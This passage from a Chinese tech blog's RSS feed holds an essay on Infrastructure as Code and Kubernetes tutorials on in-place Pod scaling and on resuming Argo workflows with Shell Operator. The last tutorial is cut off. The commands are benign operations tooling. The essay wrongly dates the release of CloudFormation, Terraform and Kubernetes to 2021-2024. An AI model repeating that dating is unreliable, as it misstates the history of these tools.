&lt;li&gt;这里选择所有 &lt;code&gt;#卡片-沟通&lt;/code&gt; 关键字并且在 &lt;code&gt;Cards&lt;/code&gt; 目录下的卡片，按照时间降序排列。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file.etags&lt;/code&gt; 会列出每个卡片中的所有标签&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;杂项&#34;&gt;杂项&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;标签改名&lt;/strong&gt;：日常记录中难免会忙中出错，记错标签；或者因为时间的推移，要求合并前面过度细分的标签，可以用 &lt;code&gt;Tag Wrangler&lt;/code&gt; 插件实现这一功能。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;隐藏附件文件&lt;/strong&gt;：模板、或者附件文件夹，通常是无需暴露出来的，插件 &lt;code&gt;Hidden Folder&lt;/code&gt; 可以使用正则表达式来隐藏这些文件夹。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>IaC 杂感</title>
      <link>/post/iac-notes/</link>
      <pubDate>Thu, 05 Sep 2024 02:24:13 +0800</pubDate>
      <guid>/post/iac-notes/</guid>
      <description>

&lt;h2 id=&#34;iac-的起源&#34;&gt;IaC 的起源&lt;/h2&gt;

&lt;p&gt;IaC 是配置管理领域的一种技术，全称 Infrastructure as Code，字面意义：基础设施即代码，是一种使用可读文本发放和管理基础设施资源的方法。通常情况下，软件定义的基础设施管理平台，会为用户提供命令行、WebUI 的方式，让用户能够用手工或者工具化的方式进行资源发放和管理工作。随着“基础设施”这一概念的不断扩展，使用频度的不断提高，越来越多的基础设施平台会提供各自的 API 为自动化打开方便之门。为了更快、更多的发放更多种类的基础设施，用一致的代码对这些基础设施进行管控也是顺理成章。IaC 的发展史很清楚地证明了这种演进过程。&lt;/p&gt;

&lt;p&gt;1993 年，Mark Burgess 在博士后期间，为了管理不同的 Unix 工作站，开发了 CFEngine。这个大概是 IaC 工具的鼻祖。据说他仅仅根据直觉和实践经验，为了简化在不同 Unix 下大量编写脚本的工作，而开发了这个软件，在这里他提出了面向最终状态进行收敛的思路。&lt;/p&gt;

&lt;p&gt;2006 年，AWS 发布了 EC2，各种公有云、私有云随之兴起，企业面对的资源不再是少数的主机，取而代之的是数量更大、品种更多、生命周期更短的虚拟机和随之而来的、更复杂的 IT 环境。在这之后，Chef、Salt Stack、Ansible 等生态也先后浮出水面。&lt;/p&gt;

&lt;p&gt;个人认为真正的变化，是接下来的 2021-2024 年，Cloudformation、Terraform 和 Kubernetes 陆续发布，使用声明式 API 进行 IaC 操作成了业界惯例。AWS Control API 和 Kubernetes 这样的基础设施，从底层保障了声明式 API 的实现能力。&lt;/p&gt;

&lt;h2 id=&#34;iac-是对物理资源的采样&#34;&gt;IaC 是对物理资源的采样&lt;/h2&gt;

&lt;p&gt;IaC 真的能描述物理资源么？很显然答案是否定的，毕竟现实世界是连续的。例如下面的 EC2 Instance：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  MyEC2Instance: 
    Type: AWS::EC2::Instance
    Properties: 
      ImageId: &amp;quot;ami-79fd7eee&amp;quot;
      KeyName: &amp;quot;testkey&amp;quot;
      BlockDeviceMappings: 
      - DeviceName: &amp;quot;/dev/sdm&amp;quot;
        Ebs: 
          VolumeType: &amp;quot;io1&amp;quot;
          Iops: &amp;quot;200&amp;quot;
          DeleteOnTermination: &amp;quot;false&amp;quot;
          VolumeSize: &amp;quot;20&amp;quot;
      - DeviceName: &amp;quot;/dev/sdk&amp;quot;
        NoDevice: {}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很明显，这几行代码不可能描述一个完整的 EC2 实例，结合前面提到的 Control API 和 Kubernetes，实际上，对资源的抽象从资源 API 层面就已经开始了，表现在 IaC 层面的，也只是这种抽象的结果。正如对声音的采样，IaC 中表达的资源不会是“完整的全貌”，越频繁的采样，能够保留越多的细节，也会造成这一描述的复杂度大大提高——但是无论如何提高，IaC 的描述能力甚至都达不到监控的细节水平。换句话说，使用 IaC 的方式来描述资源，就必须承担抽象带来的损失。&lt;/p&gt;

&lt;p&gt;除了静态的属性之外，对象的状态也是对实际情况的大幅度抽象，例如下面的 Pod 状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-mermaid&#34;&gt;stateDiagram-v2
    [*] --&amp;gt; Pending
    Pending --&amp;gt; Running : PodScheduled
    Pending --&amp;gt; Failed : PodFailed
    Pending --&amp;gt; Succeeded : PodSucceeded
    Running --&amp;gt; Succeeded : ContainersCompleted
    Running --&amp;gt; Failed : ContainersFailed
    Running --&amp;gt; Terminating : PodTerminating
    Terminating --&amp;gt; Succeeded : ContainersCompleted
    Terminating --&amp;gt; Failed : ContainersFailed
    Terminating --&amp;gt; [*]
    Failed --&amp;gt; [*]
    Succeeded --&amp;gt; [*]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;虽然看起来很细致，但实际上中间忽略了很多细节，一个明显的例子就是，在各个状态之间切换失败时，往往都需要进一步的识别问题根因才能解决。&lt;/p&gt;

&lt;p&gt;在《Thinking in Promises》中，有这样一段话：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;我们的文化，偏好于对整体图景进行理解，这种偏好催生了控制系统：这些大型、集中式、无所不知的系统，像大脑一样运作运作，它们根据可用性和一致性的假设做出精确决策，根据我们的微观管理思路，产生直接的指令性的动作。集中化在逻辑上是合理的，然而它导致了规模上的限制。具备庞大处理能力的集中控制在逻辑上是合理的，然而在大规模系统下，仍然可能无法快速决策和执行动作。行动的延迟所导致的不准确和不一致，通常会造成未知后果。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;随着计算、存储、网络的飞速进步，我们能够越来越多地获得系统中各种资源的细节信息，这可能会造成一种“膨胀”的心态——我们希望能够更多地获取系统中发生的所有细节，知晓其所有过往，甚至预测其所有未来。但是问题也很明显，我们面对的世界的复杂度的加速度，远高于我们的采集和管理能力的提升。将连续的物理资源抽象为离散的资源对象，并且以可读代码的方式进行表达，能有效地降低基础设施对注意力的消耗。同时针对软件开发过程设计的版本管理、访问控制、单元测试、文本比对、规则引擎、安全扫描、代码评审等一系列的方法都可以在 IaC 世界中大展拳脚，借助这一技术，管理员能更透明、更快、更大范围地对基础设施进行发放和管理。&lt;/p&gt;

&lt;h2 id=&#34;iac-面向对象和微服务&#34;&gt;IaC、面向对象和微服务&lt;/h2&gt;

&lt;p&gt;在我使用 IaC 的这一段时间里，新鲜感过后，我遇到了和推广容器化同样的困境——大量的实际业务和管控需求无法满足。在云原生语境中，我通常会用 12 要素等微服务要求来解释为什么你的“微服务”不能容器化。例如其中对进程、状态、配置、快速启动和优雅终止等。但是在 IaC 的落地过程中，我感觉缺乏了这样的理论后盾，有些底气不足。手里有了锤子，自然希望一切都是钉子——这些基础设施不过就是微服务运行所依赖的环境吧？面向对象、微服务架构的各种原则在这里是否继续有效呢？Terraform Provider 开发最佳实践中有这么几条：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Providers should focus on a single API or problem domain&lt;/li&gt;
&lt;li&gt;Resources should represent a single API object&lt;/li&gt;
&lt;li&gt;Resource and attribute schema should closely match the underlying API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;很明显，这里将 TF Provider 视作了 Restful API 的延伸，而众所周知，Restful API 本身的设计，关注的也是“资源”及其 CURD-L 操作。因此作为 IaC 基础的 Provider 们，本身应该就可以用 OO 的方式进行构建了。IaC 资源就是对物理资源的抽象，我们在软件设计过程中所遵循的设计原则，应该也是适用于 IaC 的实施过程之中的，并且 IaC 应该是整个软件的一部分，因此其复杂度也是小于软件的整体的，顺着这个思路，就可以理直气壮的做些事了。&lt;/p&gt;

&lt;h3 id=&#34;拆分堆栈&#34;&gt;拆分堆栈&lt;/h3&gt;

&lt;p&gt;在公有云上运行软件，往往会涉及品类繁多的云资源，每次更新都是按照堆栈进行组织的，然而到底围绕一个微服务的堆栈应该由哪些资源组成呢？例如 VPC 算么？容器集群算么？浮动 IP 算么？按照上面的说法，把这些基础设施资源按照拆分微服务的方法进行组织，就方便多了。针对每个资源，简单地回答几个问题，就可以确定其归属了，例如记在谁的账上？谁在使用他？谁负责它的运维？哪些资源是一起更新的？这样几个维度判断下来，围绕着微服务，就能够构建合理的资源堆栈了。&lt;/p&gt;

&lt;h3 id=&#34;module-的划分&#34;&gt;Module 的划分&lt;/h3&gt;

&lt;p&gt;通常会使用 Module 对资源进行组合，这种组合有很多好处，例如可复用、规范化、降低认知负载等等，然而什么资源和什么资源应该组合成一个 Module 呢？Module 类似于日常开发中的 Library，完全可以使用和共享代码一样的方式，确定其共享范围和功能边界。&lt;/p&gt;

&lt;h3 id=&#34;流水线设计&#34;&gt;流水线设计&lt;/h3&gt;

&lt;p&gt;在 AWS 的 Builder&amp;rsquo;s Library 中提到：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;典型的微服务可能具有应用程序代码管道、基础设施管道、操作系统修补管道、配置/功能标记管道，以及运算符工具管道。同一个微服务拥有多个管道有助于我们更快速地将更改部署到生产环境。未通过集成测试且阻塞应用程序管道的应用程序代码更改不会影响其他管道。例如，它们不会阻止基础设施代码更改到达基础设施管道的生产阶段。同一微服务的所有管道看起来都十分相似。例如，功能标记管道使用的安全部署技术与应用程序代码管道相同，因为错误的功能标记配置更改就像错误的应用程序代码更改一样，可能会影响生产。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;不难发现，上述不同的流水线，也采用了类似微服务的划分方法，多条流水线以独立运作、互不堵塞的方式，用不同的频率个自运行。&lt;/p&gt;

&lt;h2 id=&#34;入乡应随俗&#34;&gt;入乡应随俗&lt;/h2&gt;

&lt;p&gt;如你所知，不管是面向对象，还是微服务架构，还没有、也不可能一统天下，IaC 也是这样。在传统运维领域，我们更倾向于掌控变更的全部过程，面对 IaC/Provider 这样的黑盒子，这种追求可能就有些不合时宜了——尤其是对于自行实现的 Provider 来说。&lt;/p&gt;

&lt;p&gt;要想穿透 IaC 资源的状态管理，实现基于流程的过程管控，通常可以有两种做法：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;拆小堆栈：用尽可能小的颗粒度进行变更，这样就从宏观上提供了一个相对细致的管控能力。&lt;/li&gt;
&lt;li&gt;暴露细节：将原本被状态迁移隐藏起来的过程，暴露给外部进行观测和限制。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;小颗粒的堆栈，牺牲的是 IaC 变更的效率和完整性；而暴露内部细节的方式，则破坏了对象的封闭性——像是暴露了所有 Private 成员的类定义，客观上对于“不规矩”/“不完整”的 Provider 是一种鼓励。&lt;/p&gt;

&lt;p&gt;正如对 Kubernetes 对象的操作一样，IaC 的管控应该是一个相对“肤浅”、“粗放”的过程，能够依赖的，只能是 Provider 主动开放出来的状态迁移过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>无需重启，使用 Shell Operator 对 Pod 进行垂直扩缩容</title>
      <link>/post/update-pod-resource-without-restart/</link>
      <pubDate>Mon, 02 Sep 2024 22:16:09 +0800</pubDate>
      <guid>/post/update-pod-resource-without-restart/</guid>
      <description>

&lt;p&gt;通常情况下，要修改 Pod 的资源定义，是需要重启 Pod 的。在 Kubernetes 1.27 中，有一个 Alpha 状态的 &lt;code&gt;InPlacePodVerticalScaling&lt;/code&gt; 开关，开启这一特性，就能在不重启 Pod 的情况下，修改 Pod 的资源定义。&lt;/p&gt;

&lt;p&gt;要使用这个功能，需要在 &lt;code&gt;kube-apiserver&lt;/code&gt; 的 &lt;code&gt;featureGates&lt;/code&gt; 中显式地设置启用，启用这一特性之后，就可以进行测试了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;例如 Kind 集群，需要在配置中加入：&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;featureGates:
  &amp;quot;InPlacePodVerticalScaling&amp;quot;: true
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试一下&#34;&gt;测试一下&lt;/h2&gt;

&lt;p&gt;假设下面的 Pod 定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: stress
spec:
  containers:
  - name: stress
    image: colinianking/stress-ng:latest
    resizePolicy:
    - resourceName: cpu
      restartPolicy: NotRequired
    - resourceName: memory
      restartPolicy: RestartContainer    
    command: [&amp;quot;sleep&amp;quot;, &amp;quot;3600&amp;quot;]
    resources:
      limits:
        cpu: 200m
        memory: 200M
      requests:
        cpu: 200m
        memory: 200M
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，spec 中加入了 resizePolicy 字段，用来指定对 CPU 和内存的扩缩容策略。内容很直白：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU 的扩缩容策略是 &lt;code&gt;NotRequired&lt;/code&gt;，即不重启 Pod；&lt;/li&gt;
&lt;li&gt;内存的扩缩容策略是 &lt;code&gt;RestartContainer&lt;/code&gt;，即重启 Pod。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;将上述内容提交到 Kubernetes 中运行。启动之后，如果运行 &lt;code&gt;kubectl get po stress -o yaml&lt;/code&gt;，会发现状态字段中加入了如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- allocatedResources:
    cpu: 200m
    memory: 200Mi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;说明此时分配给容器的资源。如果这时候对 CPU 进行修改，例如修改为：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;resources:
  limits:
    cpu: 800m
    memory: 200Mi
  requests:
    cpu: 100m
    memory: 100Mi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改后查看 Pod 列表，会发现 Pod 没有重启：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
stress   1/1     Running   0          4m14s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重新获取 YAML，会看到状态字段的一些变化：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;resize: InProgress&lt;/code&gt;：表示正在扩缩容；&lt;/li&gt;

&lt;li&gt;&lt;p&gt;当前分配的资源也发生了变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- allocatedResources:
  cpu: 100m
  memory: 100Mi
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;自动纵向扩缩容&#34;&gt;自动纵向扩缩容&lt;/h2&gt;

&lt;p&gt;到目前为止，VPA 还没有支持这一特性。我们可以简地使用 Prometheus 对 Pod 资源压力进行监控，然后使用 Shell Operator 来实现自动扩缩容。总体思路就是，定期读取 Prometheus，获取指定 Pod 的 CPU 和使用情况，如果 CPU 使用率超过 80%，则将其 CPU 上限扩容一倍。&lt;/p&gt;

&lt;h3 id=&#34;prometheus-监控指标&#34;&gt;Prometheus 监控指标&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://samber.github.io/awesome-prometheus-alerts/rules#kubernetes&#34; target=&#34;_blank&#34;&gt;Awesome Prometheus alerts&lt;/a&gt; 提供了如下的告警定义，用于表达 CPU 用量和其 Limit 的关系：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - alert: ContainerHighCpuUtilization
    expr: (sum(rate(container_cpu_usage_seconds_total{container!=&amp;quot;&amp;quot;}[5m])) by (pod, container) / sum(container_spec_cpu_quota{container!=&amp;quot;&amp;quot;}/container_spec_cpu_period{container!=&amp;quot;&amp;quot;}) by (pod, container) * 100) &amp;gt; 80
    for: 2m
    labels:
      severity: warning
    annotations:
      summary: Container High CPU utilization (instance {{ $labels.instance }})
      description: &amp;quot;Container CPU utilization is above 80%\n  VALUE = {{ $value }}\n  LABELS = {{ $labels }}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们把它写入 Python 代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;CPU_USAGE_QUERY = &#39;&#39;&#39;(sum(rate(container_cpu_usage_seconds_total{{namespace=&amp;quot;{0}&amp;quot;, pod=&amp;quot;{1}&amp;quot;, container=&amp;quot;{2}&amp;quot;}}[5m])) by (pod, container) 
/ sum(container_spec_cpu_quota{{namespace=&amp;quot;{0}&amp;quot;, pod=&amp;quot;{1}&amp;quot;,container=&amp;quot;{2}&amp;quot;}}
/container_spec_cpu_period{{namespace=&amp;quot;{0}&amp;quot;, pod=&amp;quot;{1}&amp;quot;, container=&amp;quot;{2}&amp;quot;}}) by (pod, container) * 100)&#39;&#39;&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;定期运行&#34;&gt;定期运行&lt;/h3&gt;

&lt;p&gt;要设置 Shell Operator 的定期运行，需要使用 Schedule 类型的配置，下面的 Configmap 设置每两分钟运行一次：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
data:
  config.yaml: |+
    configVersion: v1
    schedule:
    - crontab: &amp;quot;*/2 * * * *&amp;quot;
      allowFailure: true
kind: ConfigMap
metadata:
  creationTimestamp: null
  name: so-config
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们会将这个 Configmap 加载到 Pod 定义中，&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
volumeMounts:
- mountPath: /conf/
  name: operator-config
...
volumes:
- configMap:
  name: so-config
name: operator-config
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Hook 代码执行参数中带有 &lt;code&gt;--config&lt;/code&gt; 参数时，读取该配置进行返回：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;if len(sys.argv) &amp;gt; 1 and sys.argv[1] == &amp;quot;--config&amp;quot;:
    with open(&amp;quot;/conf/config.yaml&amp;quot;, &amp;quot;r&amp;quot;) as f:
        print(f.read())
    exit(0)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;rbac&#34;&gt;RBAC&lt;/h3&gt;

&lt;p&gt;Shell Operator 需要对 Pod 资源进行扩容，所以需要如下授权：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- apiGroups: [&amp;quot;&amp;quot;]
  resources: [&amp;quot;pods&amp;quot;]
  verbs: [&amp;quot;get&amp;quot;, &amp;quot;list&amp;quot;, &amp;quot;watch&amp;quot;, &amp;quot;patch&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;构建-docker-镜像&#34;&gt;构建 Docker 镜像&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM flant/shell-operator
RUN apk update &amp;amp;&amp;amp; \
    apk add --no-cache py3-requests
COPY main.py /hooks
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;测试&#34;&gt;测试&lt;/h3&gt;

&lt;p&gt;Workload 中，我们设置的资源是 100M 内存+100m CPU 的配置，使用 &lt;code&gt;kubectl exec -it stress -- sh&lt;/code&gt; 进入 Pod 之后，执行 &lt;code&gt;stress-ng --cpu 1 --fork 2&lt;/code&gt; 制造一点压力，触发 Shell Operator 中的脚本对 Pod 进行纵向扩容，在 Prometheus 会看到如下曲线：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/prom.png&#34; alt=&#34;images/prom.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随着每次运行和扩容，CPU 水位不断下降，直到稳定。打开 Pod 定义，会看到扩容的痕迹：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  containerStatuses:
  - allocatedResources:
      cpu: 6400m
      memory: 100M
    containerID: containerd://10c55739a6a63f3464184f5384a2f2b091a235b7b6689bcdb58526e3eb8bdb19
    image: docker.io/colinianking/stress-ng:latest
    imageID: docker.io/colinianking/stress-ng@sha256:1b10c09968ea3460196596398f7811c7a604489a8311b3dbf477f552ac5ea972
    lastState:
      terminated:
        containerID: containerd://e3f1fe628086e291830b47247c88403d3ce0f4fd5db38b18afcca444659011d3
        exitCode: 0
        finishedAt: &amp;quot;2024-09-08T08:07:49Z&amp;quot;
        reason: Completed
        startedAt: &amp;quot;2024-09-08T07:07:49Z&amp;quot;
    name: stress
    ready: true
    resources:
      limits:
        cpu: 6400m
        memory: 100M
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;全部代码被上传到了 &lt;code&gt;https://github.com/fleeto/vscale-by-shelloperator&lt;/code&gt;。内容当然还是非常简陋，例如缺乏缩容手段、没有对上限进行限制，防抖动措施也是缺乏的。另外该特性还处在 Alpha 阶段，因此不推荐在生产环境中使用。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Shell Operator &#43; CRD 恢复被暂停的 Argo Workflow</title>
      <link>/post/resume-argo-with-shell-operator/</link>
      <pubDate>Wed, 24 Jul 2024 23:21:04 +0800</pubDate>
      <guid>/post/resume-argo-with-shell-operator/</guid>
      <description>

&lt;p&gt;上一篇讲到，使用 Kyverno 通过对特定标签的识别，让每个步骤进入自动暂停的状态，实现逐步骤运行。留了个尾巴，怎样才能快速的恢复被暂停步骤的运行？&lt;/p&gt;

&lt;h2 id=&#34;tl-dr&#34;&gt;TL;DR;&lt;/h2&gt;

&lt;p&gt;随便搞个 CRD，用 Shell Operator 监听，自动执行 &lt;code&gt;kubectl exec&lt;/code&gt; 恢复目标步骤的运行。&lt;/p&gt;

&lt;h2 id=&#34;shell-operator-简介&#34;&gt;Shell Operator 简介&lt;/h2&gt;

&lt;p&gt;简单来说，Shell Operator 是一个让用户能够使用脚本语言快速建立 Operator 的框架，能够非常方便的完成定时运行、启动运行、监听并响应 Kubernetes 对象和 CRD 等能力。&lt;/p&gt;

&lt;p&gt;这篇文章会使用这一框架，从 CR 资源获取用户恢复运行指定步骤的意图，并完成恢复运行的操作。整个操作分为如下步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;创建 CRD&lt;/li&gt;
&lt;li&gt;编写 Shell Operator&lt;/li&gt;
&lt;li&gt;运行测试&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;创建-crd&#34;&gt;创建 CRD&lt;/h2&gt;

&lt;p&gt;要恢复一个被暂停的工作流步骤，其输入只需要工作流 ID 和被暂停步骤（&lt;code&gt;Template&lt;/code&gt;）名称即可，制定如下 CRD：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: resumes.argocontroller.io
spec:
  conversion:
    strategy: None
  group: argocontroller.io
  names:
    kind: Resume
    listKind: ResumeList
    plural: resumes
    singular: resume
  scope: Namespaced
  versions:
  - name: v1alpha1
    schema:
      openAPIV3Schema:
        properties:
          apiVersion:
            type: string
          kind:
            type: string
          metadata:
            type: object
          spec:
            properties:
              TemplateName:
                type: string
              Workflow-ID:
                type: string
            type: object
        type: object
    served: true
    storage: true
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;命名有点草率。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这个 CRD 中使用了 &lt;code&gt;Workflow-ID&lt;/code&gt; 和 &lt;code&gt;TemplateName&lt;/code&gt; 两个字段，分别用来查找流程实例和被暂停的步骤。&lt;/p&gt;

&lt;h2 id=&#34;编写-shell-operator&#34;&gt;编写 Shell Operator&lt;/h2&gt;

&lt;p&gt;一个 Shell Operator 通常分为几个部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;配置文件，用来指定触发时机，例如定时执行、启动执行和被 Kubenetes 对象操作触发。&lt;/li&gt;
&lt;li&gt;Hook 脚本：主体，用来执行指定功能。&lt;/li&gt;
&lt;li&gt;Dockerfile：继承 Flant 的 Shell Operator，用来构建运行镜像。&lt;/li&gt;
&lt;li&gt;Kubernetes YML：用来在 Kubernetes 中运行 Shell Operator。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;配置文件&#34;&gt;配置文件&lt;/h3&gt;

&lt;p&gt;我们这里设置，监听前面的 CR &lt;code&gt;argocontroller.io/resume&lt;/code&gt; 的创建动作，因此配置文件这样编写：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;configVersion: v1
kubernetes:
- apiVersion: argocontroller.io/v1alpha1
  kind: Resume
  executeHookOnEvent: [&amp;quot;Added&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用命令 &lt;code&gt;kubectl create configmap hook-conf --from-file=config.yml&lt;/code&gt; 创建 Configmap 供后续脚本加载。&lt;/p&gt;

&lt;h3 id=&#34;脚本&#34;&gt;脚本&lt;/h3&gt;

&lt;p&gt;符合触发条件的 CR 一旦创建，就会被 Shell Operator 捕获，并保存到对应 Pod 的文件系统中，临时文件名保存在环境变量 &lt;code&gt;BINDING_CONTEXT_PATH&lt;/code&gt; 里。&lt;/p&gt;

&lt;p&gt;这里我们使用 Shell 脚本，处理环临时文件内容，查找 CR 包含的流程实例和模板名称。查找到流程实例之后，在其 &lt;code&gt;status&lt;/code&gt; 节点查找 Pod 名称，最后执行恢复操作。脚本内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;#!/bin/bash
if [[ $1 == &amp;quot;--config&amp;quot; ]] ; then
  cat /conf/config.yml
else
    jq -c &#39;.[]&#39; &amp;quot;$BINDING_CONTEXT_PATH&amp;quot; | while read -r item; do
        type=$(echo &amp;quot;$item&amp;quot; | jq -r &#39;.type&#39;)
        # 跳过无用元素
        if [ &amp;quot;$type&amp;quot; != &amp;quot;Event&amp;quot; ]; then
            continue
        fi
        # 查找流程 ID 和模板名称
        TEMPLATE_NAME=$(echo &amp;quot;$item&amp;quot; | jq -r &#39;.object.spec.TemplateName&#39;)
        WORKFLOW_ID=$(echo &amp;quot;$item&amp;quot; | jq -r &#39;.object.spec[&amp;quot;Workflow-ID&amp;quot;]&#39;)
        echo &amp;quot;tmpl=${TEMPLATE_NAME}  wfid=${WORKFLOW_ID}&amp;quot;
        FILENAME=/tmp/wf.json
        # 获取工作流实例的 YAML
        kubectl get workflow ${WORKFLOW_ID} -o json &amp;gt; &amp;quot;${FILENAME}&amp;quot;
        # 查找 Pod 名称
        POD=$(jq -r &amp;quot;.status.nodes[] | select(.templateName == \&amp;quot;${TEMPLATE_NAME}\&amp;quot; and .type == &amp;quot;Pod&amp;quot;) | .id&amp;quot; &amp;quot;${FILENAME}&amp;quot;)
        echo &amp;quot;pod=${POD}&amp;quot;
        kubectl exec -it ${POD} -- touch /proc/1/root/var/run/argo/ctr/main/after
    done
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;dockerfile&#34;&gt;Dockerfile&lt;/h3&gt;

&lt;p&gt;Dockerfile 很简单，只要把脚本设置为可执行，并加入到 &lt;code&gt;/hooks&lt;/code&gt; 文件夹即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM  ghcr.io/flant/shell-operator:latest
ADD wf-resume.sh /hooks
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;编写好之后，使用 Docker 构建镜像并推送：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;docker buildx build --platform linux/amd64,linux/arm64 --push \
    -t [image-name:image-tag] .
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;yaml&#34;&gt;YAML&lt;/h3&gt;

&lt;p&gt;这里我们用一个 Pod YAML 来运行 Shell Operator：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: shell-operator-observe
spec:
  serviceAccountName: shell-operator
  containers:
    - name: shell-operator-observe
      image: [image-name:image-tag]
      volumeMounts:
        - name: config-volume
          mountPath: /conf
  volumes:
    - name: config-volume
      configMap:
        name: hook-conf
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里有两个需要注意的点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;监听或者修改 Kubernetes 对象是需要授权的，要针对 &lt;code&gt;shell-operator&lt;/code&gt; 这个 Service Account 进行 RBAC 授权。&lt;/li&gt;
&lt;li&gt;使用 Configmap 加载到镜像的 &lt;code&gt;/conf&lt;/code&gt; 目录。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl&lt;/code&gt; 提交运行。&lt;/p&gt;

&lt;h2 id=&#34;运行测试&#34;&gt;运行测试&lt;/h2&gt;

&lt;p&gt;运行前一片文章中使用的工作流，暂停之后，使用 &lt;code&gt;kubectl get workflow&lt;/code&gt;，例如 &lt;code&gt;pause-3141592654ft97&lt;/code&gt;，就可以创建如下 CR：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{
  &amp;quot;apiVersion&amp;quot;: &amp;quot;argocontroller.io/v1alpha1&amp;quot;,
  &amp;quot;kind&amp;quot;: &amp;quot;Resume&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;name&amp;quot;: &amp;quot;example-resume&amp;quot;,
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;
  },
  &amp;quot;spec&amp;quot;: {
